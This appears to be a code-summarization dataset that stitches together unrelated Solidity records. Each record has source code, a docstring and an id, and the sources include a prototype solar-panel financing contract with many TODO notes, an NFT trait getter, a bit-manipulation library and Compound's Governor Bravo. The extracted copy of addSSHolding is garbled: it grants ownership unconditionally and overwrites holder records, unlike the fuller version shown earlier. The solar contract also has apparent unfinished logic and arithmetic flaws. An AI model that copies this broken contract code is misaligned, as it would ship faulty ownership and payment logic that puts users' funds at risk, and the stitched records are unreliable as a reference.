getSolarSystemDetails(uint _ssAddress) view public returns(uint, uint, address, uint){ return( solarSystems[_ssAddress].panelSize, solarSystems[_ssAddress].totalValue, solarSystems[_ssAddress].consumer, solarSystems[_ssAddress].percentageHeld ); } // ### TO- DO ### TENDER PROCESS & REQUEST FOR PROPOSALS ### // Once an Originator initiates a propoed solar System and Deployment, it needs to be put out for a RFP (Request for Proposal) from contractors/solar developers. // The call for RFP should receive an engineering proposal (i.e. not an engineering blueprint level but a general system architecture level), a quote for materials and labor, a deployment plan. // Note: The tender, review and selection process needs to be flexible to cater for different project modalities (eg. a Public tender vs. a private project) // ## TODO ## PROCESS OF PRE-VERIFICATION BEFORE IT GETS CONFIRMED // // Consider payment before setting the system live. // CONFIRMATION // agreement between contractor, participant, and investor // Adds the actual numbers and variables, details to the struct proposed Deployments function proposeDeployment(uint _ssAddress, uint _payout, uint _panelSize, uint _totalValue, address _contractor, address _consumer) payable public { // TODO: this should be called by a verified investor, so need some way to onboard investors/contractors ProposedDeployment memory newDeployment; newDeployment.panelSize = _panelSize; newDeployment.totalValue = _totalValue; newDeployment.contractorPayout = _payout; newDeployment.contractor = _contractor; newDeployment.consumer = _consumer; newDeployment.investor = msg.sender; newDeployment.isConfirmedByContractor = false; newDeployment.isConfirmedByConsumer = false; proposedDeployments[_ssAddress] = newDeployment; } // TODO // SOLAR ENGINERING DOCUMENTS // The developers must present the blueprints of the proposed work before working on it. These must be stored in IPFS and hashed to the contract. // These documents will have to get updated at the end of the install and are saved as the blueprint of the 'installed system' // Contractor confirms the system has been installed. function confirmDeployment(uint _ssAddress) public { if (proposedDeployments[_ssAddress].contractor == msg.sender) { proposedDeployments[_ssAddress].isConfirmedByContractor = true; } else if (proposedDeployments[_ssAddress].isConfirmedByContractor && proposedDeployments[_ssAddress].consumer == msg.sender) { //for record keeping proposedDeployments[_ssAddress].isConfirmedByConsumer = true; //create a solarsystem addSolarSystem(_ssAddress, msg.sender); } } // ## TODO ## // VERIFICATION OF INSTALLMENT & SENSORS // The signature of a 3rd party verifier should be considered as part of onboarding a system and its data. // The verifier confirms system was built according to plan, is compliant with regulation, and has the appropriate working sensors and associated public keys. // This digital signature will allow the sensor data and oracle to commit payment transactions and REC minting. // ### CONTRACTOR PAYMENTS ### // Allow contractor to collect payout on system, once its confirmed // ## TODO ## Consider payouts to be based on installments throughout the buildout process and with energy generation data. // Eg. the contractors receives an upfront payment before the process begins but once the deployment is confirmed, and receives another payment once the witness sensors shows the first generation data. // Final payment to contractor should occur once the system shows steady data and behavior after a selected period of time. It also requires a 3rd party verification of system engineering and metering sensors. function collectPayout(uint _ssAddress) public { require(msg.sender == proposedDeployments[_ssAddress].contractor); require(proposedDeployments[_ssAddress].isConfirmedByConsumer && proposedDeployments[_ssAddress].isConfirmedByContractor); msg.sender.transfer(proposedDeployments[_ssAddress].contractorPayout); } // ### SOLAR SYSTEM IS INSTALLED & LIVE ### // This function will be called once there is confirmation of this system // add a new solar panel to our platform and set its properties (_totalValue), // and its uniquely identifying address on the chain // Note: There might be multiple addresses of sensor data that will relate to the system and should be live by this time (eg. main 'Testimony Energy Meter' and 'Witness sensors') function addSolarSystem(uint _ssAddress, address _consumer) private { SolarSystem memory newSystem; newSystem.totalValue = proposedDeployments[_ssAddress].totalValue; //TODO: must change this because now refers to block timestamp not current time newSystem.lastFullPaymentTimestamp = now; newSystem.unpaidUsage = 0; newSystem.percentageHeld = 0; newSystem.panelSize = proposedDeployments[_ssAddress].panelSize; newSystem.consumer = _consumer; solarSystems[_ssAddress] = newSystem; } ////////// THE BELOW SECTION DEALS WITH OPERATION, PAYMENTs, TRANSFER OF OWNERSHIP etc ////////// // ## TODO ### ENERGY ORACLE ### // Needs to take the data that comes from the official "invasive" datalogger and benchmatk the info // from the non-invasive IoT witness sensors and also check with the solar radiation for that dat. // // ## ENERGY CONSUMED ## // Record energy consumed by panel at target SSAddress by consumer (called by solar panel) function energyConsumed(address ssAddress, address consumer, uint energyConsumed) { require((msg.sender == admin) || (msg.sender == ssAddress)); solarSystems[ssAddress].holders[consumer].unpaidUsage += energyConsumed; } // ## TODO ## Solar energy Generated ## // The amount of energy consumed at some point in the customer building may be less or more than the solar energy generated. // These two numbers (i.e. generation and consumption) need to be differentiated, and define payments based on theit relationship. // ## TODO ## Define the payment cycle ## // Consider making payments every two weeks or every month // // ## MAKE PAYMENTS ## // Make a payment from consumer toward any unpaid balance on the panel at ssAddress function makePayment(address ssAddress, address consumer, uint amountPaid) public { require((msg.sender == admin) || (msg.sender == consumer)); uint amountPaidInEnergy = amountPaid/PREPA_PRICE; Holder storage consumerHolder = solarSystems[ssAddress].holders[consumer]; if (amountPaidInEnergy >= consumerHolder.unpaidUsage) { consumerHolder.lastFullPaymentTimestamp = now; } addSSHolding(amountPaid/solarSystems[ssAddress].totalValue*100, ssAddress, consumer); // transfer over a portion of ownership consumerHolder.unpaidUsage -= amountPaidInEnergy; // update the unpaid balance } // // ## TRANSFER % OWNERSHIP OF SOLAR ## // Transfer percentTransfer percent of holding of solar system at targetSSAddress to the user with address 'to' function addSSHolding(uint percentTransfer, address targetSSAddress, address to) public { require(msg.sender == admin); mapping(address => Holder) targetSSHolders = solarSystems[targetSSAddress].holders; require(targetSSHolders[admin].percentageHeld >= percentTransfer); if (targetSSHolders[to].holdingStatus == HoldingStatus.HELD) { if (targetSSHolders[to].percentageHeld + percentTransfer >= 100) { // fully paid off! grantOwnership(targetSSAddress, to); } else { targetSSHolders[to].percentageHeld += percentTransfer; targetSSHolders[admin].percentageHeld -= percentTransfer; } } else { // this is their first payment towards this solar system targetSSHolders[to] = Holder({ percentageHeld: percentTransfer, holdingStatus: HoldingStatus.HELD, lastFullPaymentTimestamp: now, unpaidUsage: 0 }); } } // MW // Why are add and remove Holding separate functions if they have to happen simulatenously and are dependent? // shouldn't there be a function transferOwnerships that does both of these things at once? // // Reclaim percentTransfer percent of holding of solar system at targetSSAddress currently held by user with address 'from' function removeSSHolding(uint percentTransfer, address targetSSAddress, address from) public { require((msg.sender == admin) || (msg.sender == from)); mapping(address => Holder) targetSSHolders = solarSystems[targetSSAddress].holders; require(targetSSHolders[from].percentageHeld >= percentTransfer); targetSSHolders[from].percentageHeld -= percentTransfer; targetSSHolders[admin].percentageHeld += percentTransfer; } // ## TODO ## REQUEST THE MINTING OR A RENEWABLE ENERGY AND CARBON CERTIFICATE // Integrate the devices with swytch (maybe do this previously) and receive here their an erc721 REC token. // Use EIA carbon data for puerto rico to prototype the carbon offset. // Consider using oraclize.it to API the data from the EIA website https://www.eia.gov/state/data.php?sid=RQ#CarbonDioxideEmissions) // // Grant ownership to newOwner of whatever portion of the solar panel at targetSSAddress they currently hold // MW // what is the difference between changing holdings and granting ownership? Should ownership be the step applied once the system is fully paid? // if so, why would it consider portions? function grantOwnership(address targetSSAddress, address newOwner) public { require(msg.sender == admin); mapping(address => Holder) targetSSHolders = solarSystems[targetSSAddress].holders; targetSSHolders[newOwner].holdingStatus = HoldingStatus.OWNED; } // ## TODO ## // LEGAL OWNERSHIP /// // Come up with a step so that when ownership is fully transfered, there is an automatic report that can change a registry that has legal validity // // functions that require no gas, but will check the state of the system // // Returns true if consumer has completely paid of any outstanding balance on the panel at ssAddress within their consumerBuffer period function isConsumerLiquidForSystem(address ssAddress, address consumer, uint consumerBuffer) view public returns (bool) { return (now - solarSystems[ssAddress].holders[consumer].lastFullPaymentTimestamp) <= consumerBuffer; } } // ## TODO ## BREACH SCENARIOS ## // Add all the situations and scenarios that need to be considered if the payments are not made or the wallet accounts have insufficient funds // Consider sending email notifications, bringing in the guarantors, activating hardware etc.
TRANSFER % OWNERSHIP OF SOLAR Transfer percentTransfer percent of holding of solar system at targetSSAddress to the user with address 'to'
function addSSHolding(uint percentTransfer, address targetSSAddress, address to) public { require(msg.sender == admin); mapping(address => Holder) targetSSHolders = solarSystems[targetSSAddress].holders; require(targetSSHolders[admin].percentageHeld >= percentTransfer); if (targetSSHolders[to].holdingStatus == HoldingStatus.HELD) { grantOwnership(targetSSAddress, to); targetSSHolders[to].percentageHeld += percentTransfer; targetSSHolders[admin].percentageHeld -= percentTransfer; } targetSSHolders[to] = Holder({ percentageHeld: percentTransfer, holdingStatus: HoldingStatus.HELD, lastFullPaymentTimestamp: now, unpaidUsage: 0 }); }
1,079,440
./partial_match/1/0xeacAbd7339202DED487Bb67a088CF47c6Ed00aa2/sources/src/Egg/MythicEggSampler.sol
Returns the egg type of a given token ID and a boolean flag to indicate whether it was already revealed./
function eggType(uint256 tokenId) public view returns (EggType, bool) { (uint256 sample, bool revealed) = _sampleTrait(tokenId, _EGG_TYPE_TRAIT_ID); return (EggType(sample), revealed); }
9,146,473
// SPDX-License-Identifier: Apache-2.0 // Code from https://github.com/ethereum/solidity-examples pragma solidity >=0.6.0; pragma experimental ABIEncoderV2; library Bits { uint256 internal constant ONE = uint256(1); uint256 internal constant ONES = type(uint256).max; // Sets the bit at the given 'index' in 'self' to '1'. // Returns the modified value. function setBit(uint256 self, uint8 index) internal pure returns (uint256) { return self | (ONE << index); } // Sets the bit at the given 'index' in 'self' to '0'. // Returns the modified value. function clearBit(uint256 self, uint8 index) internal pure returns (uint256) { return self & ~(ONE << index); } // Sets the bit at the given 'index' in 'self' to: // '1' - if the bit is '0' // '0' - if the bit is '1' // Returns the modified value. function toggleBit(uint256 self, uint8 index) internal pure returns (uint256) { return self ^ (ONE << index); } // Get the value of the bit at the given 'index' in 'self'. function bit(uint256 self, uint8 index) internal pure returns (uint8) { return uint8((self >> index) & 1); } // Check if the bit at the given 'index' in 'self' is set. // Returns: // 'true' - if the value of the bit is '1' // 'false' - if the value of the bit is '0' function bitSet(uint256 self, uint8 index) internal pure returns (bool) { return (self >> index) & 1 == 1; } // Checks if the bit at the given 'index' in 'self' is equal to the corresponding // bit in 'other'. // Returns: // 'true' - if both bits are '0' or both bits are '1' // 'false' - otherwise function bitEqual( uint256 self, uint256 other, uint8 index ) internal pure returns (bool) { return ((self ^ other) >> index) & 1 == 0; } // Get the bitwise NOT of the bit at the given 'index' in 'self'. function bitNot(uint256 self, uint8 index) internal pure returns (uint8) { return uint8(1 - ((self >> index) & 1)); } // Computes the bitwise AND of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitAnd( uint256 self, uint256 other, uint8 index ) internal pure returns (uint8) { return uint8(((self & other) >> index) & 1); } // Computes the bitwise OR of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitOr( uint256 self, uint256 other, uint8 index ) internal pure returns (uint8) { return uint8(((self | other) >> index) & 1); } // Computes the bitwise XOR of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitXor( uint256 self, uint256 other, uint8 index ) internal pure returns (uint8) { return uint8(((self ^ other) >> index) & 1); } // Gets 'numBits' consecutive bits from 'self', starting from the bit at 'startIndex'. // Returns the bits as a 'uint'. // Requires that: // - '0 < numBits <= 256' // - 'startIndex < 256' // - 'numBits + startIndex <= 256' function bits( uint256 self, uint8 startIndex, uint16 numBits ) internal pure returns (uint256) { require(0 < numBits && startIndex < 256 && startIndex + numBits <= 256); return (self >> startIndex) & (ONES >> (256 - numBits)); } // Computes the index of the highest bit set in 'self'. // Returns the highest bit set as an 'uint8'. // Requires that 'self != 0'. function highestBitSet(uint256 self) internal pure returns (uint8 highest) { require(self != 0); uint256 val = self; for (uint8 i = 128; i >= 1; i >>= 1) { if (val & (((ONE << i) - 1) << i) != 0) { highest += i; val >>= i; } } } // Computes the index of the lowest bit set in 'self'. // Returns the lowest bit set as an 'uint8'. // Requires that 'self != 0'. function lowestBitSet(uint256 self) internal pure returns (uint8 lowest) { require(self != 0); uint256 val = self; for (uint8 i = 128; i >= 1; i >>= 1) { if (val & ((ONE << i) - 1) == 0) { lowest += i; val >>= i; } } } }
Checks if the bit at the given 'index' in 'self' is equal to the corresponding bit in 'other'. Returns: 'true' - if both bits are '0' or both bits are '1' 'false' - otherwise
function bitEqual( uint256 self, uint256 other, uint8 index ) internal pure returns (bool) { return ((self ^ other) >> index) & 1 == 0; }
6,387,440
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "./GovernorBravoInterfaces.sol"; contract GovernorBravoDelegate is GovernorBravoDelegateStorageV1, GovernorBravoEvents { /// @notice The name of this contract string public constant name = "Compound Governor Bravo"; /// @notice The minimum setable proposal threshold uint public constant MIN_PROPOSAL_THRESHOLD = 50000e18; // 50,000 Comp /// @notice The maximum setable proposal threshold uint public constant MAX_PROPOSAL_THRESHOLD = 100000e18; //100,000 Comp /// @notice The minimum setable voting period uint public constant MIN_VOTING_PERIOD = 5760; // About 24 hours /// @notice The max setable voting period uint public constant MAX_VOTING_PERIOD = 80640; // About 2 weeks /// @notice The min setable voting delay uint public constant MIN_VOTING_DELAY = 1; /// @notice The max setable voting delay uint public constant MAX_VOTING_DELAY = 40320; // About 1 week /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public constant quorumVotes = 400000e18; // 400,000 = 4% of Comp /// @notice The maximum number of actions that can be included in a proposal uint public constant proposalMaxOperations = 10; // 10 actions /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)"); /** * @notice Used to initialize the contract during delegator contructor * @param timelock_ The address of the Timelock * @param comp_ The address of the COMP token * @param votingPeriod_ The initial voting period * @param votingDelay_ The initial voting delay * @param proposalThreshold_ The initial proposal threshold */ function initialize(address timelock_, address comp_, uint votingPeriod_, uint votingDelay_, uint proposalThreshold_) public { require(address(timelock) == address(0), "GovernorBravo::initialize: can only initialize once"); require(msg.sender == admin, "GovernorBravo::initialize: admin only"); require(timelock_ != address(0), "GovernorBravo::initialize: invalid timelock address"); require(comp_ != address(0), "GovernorBravo::initialize: invalid comp address"); require(votingPeriod_ >= MIN_VOTING_PERIOD && votingPeriod_ <= MAX_VOTING_PERIOD, "GovernorBravo::initialize: invalid voting period"); require(votingDelay_ >= MIN_VOTING_DELAY && votingDelay_ <= MAX_VOTING_DELAY, "GovernorBravo::initialize: invalid voting delay"); require(proposalThreshold_ >= MIN_PROPOSAL_THRESHOLD && proposalThreshold_ <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::initialize: invalid proposal threshold"); timelock = TimelockInterface(timelock_); comp = CompInterface(comp_); votingPeriod = votingPeriod_; votingDelay = votingDelay_; proposalThreshold = proposalThreshold_; } /** * @notice Function used to propose a new proposal. Sender must have delegates above the proposal threshold * @param targets Target addresses for proposal calls * @param values Eth values for proposal calls * @param signatures Function signatures for proposal calls * @param calldatas Calldatas for proposal calls * @param description String description of the proposal * @return Proposal id of new proposal */ function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { // Reject proposals before initiating as Governor require(initialProposalId != 0, "GovernorBravo::propose: Governor Bravo not active"); require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorBravo::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorBravo::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorBravo::propose: must provide actions"); require(targets.length <= proposalMaxOperations, "GovernorBravo::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorBravo::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorBravo::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, abstainVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } /** * @notice Queues a proposal of state succeeded * @param proposalId The id of the proposal to queue */ function queue(uint proposalId) external { require(state(proposalId) == ProposalState.Succeeded, "GovernorBravo::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { queueOrRevertInternal(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function queueOrRevertInternal(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorBravo::queueOrRevertInternal: identical proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } /** * @notice Executes a queued proposal if eta has passed * @param proposalId The id of the proposal to execute */ function execute(uint proposalId) external payable { require(state(proposalId) == ProposalState.Queued, "GovernorBravo::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } /** * @notice Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold * @param proposalId The id of the proposal to cancel */ function cancel(uint proposalId) external { require(state(proposalId) != ProposalState.Executed, "GovernorBravo::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == proposal.proposer || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorBravo::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } /** * @notice Gets actions of a proposal * @param proposalId the id of the proposal * @return Targets, values, signatures, and calldatas of the proposal actions */ function getActions(uint proposalId) external view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } /** * @notice Gets the receipt for a voter on a given proposal * @param proposalId the id of proposal * @param voter The address of the voter * @return The voting receipt */ function getReceipt(uint proposalId, address voter) external view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } /** * @notice Gets the state of a proposal * @param proposalId The id of the proposal * @return Proposal state */ function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > initialProposalId, "GovernorBravo::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } /** * @notice Cast a vote for a proposal * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain */ function castVote(uint proposalId, uint8 support) external { emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), ""); } /** * @notice Cast a vote for a proposal with a reason * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain * @param reason The reason given for the vote by the voter */ function castVoteWithReason(uint proposalId, uint8 support, string calldata reason) external { emit VoteCast(msg.sender, proposalId, support, castVoteInternal(msg.sender, proposalId, support), reason); } /** * @notice Cast a vote for a proposal by signature * @dev External function that accepts EIP-712 signatures for voting on proposals. */ function castVoteBySig(uint proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorBravo::castVoteBySig: invalid signature"); emit VoteCast(signatory, proposalId, support, castVoteInternal(signatory, proposalId, support), ""); } /** * @notice Internal function that caries out voting logic * @param voter The voter that is casting their vote * @param proposalId The id of the proposal to vote on * @param support The support value for the vote. 0=against, 1=for, 2=abstain * @return The number of votes cast */ function castVoteInternal(address voter, uint proposalId, uint8 support) internal returns (uint96) { require(state(proposalId) == ProposalState.Active, "GovernorBravo::castVoteInternal: voting is closed"); require(support <= 2, "GovernorBravo::castVoteInternal: invalid vote type"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorBravo::castVoteInternal: voter already voted"); uint96 votes = comp.getPriorVotes(voter, proposal.startBlock); if (support == 0) { proposal.againstVotes = add256(proposal.againstVotes, votes); } else if (support == 1) { proposal.forVotes = add256(proposal.forVotes, votes); } else if (support == 2) { proposal.abstainVotes = add256(proposal.abstainVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; return votes; } /** * @notice Admin function for setting the voting delay * @param newVotingDelay new voting delay, in blocks */ function _setVotingDelay(uint newVotingDelay) external { require(msg.sender == admin, "GovernorBravo::_setVotingDelay: admin only"); require(newVotingDelay >= MIN_VOTING_DELAY && newVotingDelay <= MAX_VOTING_DELAY, "GovernorBravo::_setVotingDelay: invalid voting delay"); uint oldVotingDelay = votingDelay; votingDelay = newVotingDelay; emit VotingDelaySet(oldVotingDelay,votingDelay); } /** * @notice Admin function for setting the voting period * @param newVotingPeriod new voting period, in blocks */ function _setVotingPeriod(uint newVotingPeriod) external { require(msg.sender == admin, "GovernorBravo::_setVotingPeriod: admin only"); require(newVotingPeriod >= MIN_VOTING_PERIOD && newVotingPeriod <= MAX_VOTING_PERIOD, "GovernorBravo::_setVotingPeriod: invalid voting period"); uint oldVotingPeriod = votingPeriod; votingPeriod = newVotingPeriod; emit VotingPeriodSet(oldVotingPeriod, votingPeriod); } /** * @notice Admin function for setting the proposal threshold * @dev newProposalThreshold must be greater than the hardcoded min * @param newProposalThreshold new proposal threshold */ function _setProposalThreshold(uint newProposalThreshold) external { require(msg.sender == admin, "GovernorBravo::_setProposalThreshold: admin only"); require(newProposalThreshold >= MIN_PROPOSAL_THRESHOLD && newProposalThreshold <= MAX_PROPOSAL_THRESHOLD, "GovernorBravo::_setProposalThreshold: invalid proposal threshold"); uint oldProposalThreshold = proposalThreshold; proposalThreshold = newProposalThreshold; emit ProposalThresholdSet(oldProposalThreshold, proposalThreshold); } /** * @notice Initiate the GovernorBravo contract * @dev Admin only. Sets initial proposal id which initiates the contract, ensuring a continuous proposal id count * @param governorAlpha The address for the Governor to continue the proposal id count from */ function _initiate(address governorAlpha) external { require(msg.sender == admin, "GovernorBravo::_initiate: admin only"); require(initialProposalId == 0, "GovernorBravo::_initiate: can only initiate once"); proposalCount = GovernorAlpha(governorAlpha).proposalCount(); initialProposalId = proposalCount; timelock.acceptAdmin(); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. */ function _setPendingAdmin(address newPendingAdmin) external { // Check caller = admin require(msg.sender == admin, "GovernorBravo:_setPendingAdmin: admin only"); // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin */ function _acceptAdmin() external { // Check caller is pendingAdmin and pendingAdmin β‰  address(0) require(msg.sender == pendingAdmin && msg.sender != address(0), "GovernorBravo:_acceptAdmin: pending admin only"); // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainIdInternal() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorBravoEvents { /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal /// @param voter The address which casted a vote /// @param proposalId The proposal id which was voted on /// @param support Support value for the vote. 0=against, 1=for, 2=abstain /// @param votes Number of votes which were cast by the voter /// @param reason The reason given for the vote by the voter event VoteCast(address indexed voter, uint proposalId, uint8 support, uint votes, string reason); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); /// @notice An event emitted when the voting delay is set event VotingDelaySet(uint oldVotingDelay, uint newVotingDelay); /// @notice An event emitted when the voting period is set event VotingPeriodSet(uint oldVotingPeriod, uint newVotingPeriod); /// @notice Emitted when implementation is changed event NewImplementation(address oldImplementation, address newImplementation); /// @notice Emitted when proposal threshold is set event ProposalThresholdSet(uint oldProposalThreshold, uint newProposalThreshold); /// @notice Emitted when pendingAdmin is changed event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /// @notice Emitted when pendingAdmin is accepted, which means admin is updated event NewAdmin(address oldAdmin, address newAdmin); } contract GovernorBravoDelegatorStorage { /// @notice Administrator for this contract address public admin; /// @notice Pending administrator for this contract address public pendingAdmin; /// @notice Active brains of Governor address public implementation; } /** * @title Storage for Governor Bravo Delegate * @notice For future upgrades, do not change GovernorBravoDelegateStorageV1. Create a new * contract which implements GovernorBravoDelegateStorageV1 and following the naming convention * GovernorBravoDelegateStorageVX. */ contract GovernorBravoDelegateStorageV1 is GovernorBravoDelegatorStorage { /// @notice The delay before voting on a proposal may take place, once proposed, in blocks uint public votingDelay; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice Initial proposal id set at become uint public initialProposalId; /// @notice The total number of proposals uint public proposalCount; /// @notice The address of the Compound Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Compound governance token CompInterface public comp; /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Current number of votes for abstaining for this proposal uint abstainVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal or abstains uint8 support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } interface GovernorAlpha { /// @notice The total number of proposals function proposalCount() external returns (uint); }
Initiate the GovernorBravo contract Admin only. Sets initial proposal id which initiates the contract, ensuring a continuous proposal id count governorAlpha The address for the Governor to continue the proposal id count from/
function _initiate(address governorAlpha) external { require(msg.sender == admin, "GovernorBravo::_initiate: admin only"); require(initialProposalId == 0, "GovernorBravo::_initiate: can only initiate once"); proposalCount = GovernorAlpha(governorAlpha).proposalCount(); initialProposalId = proposalCount; timelock.acceptAdmin(); }
63,506
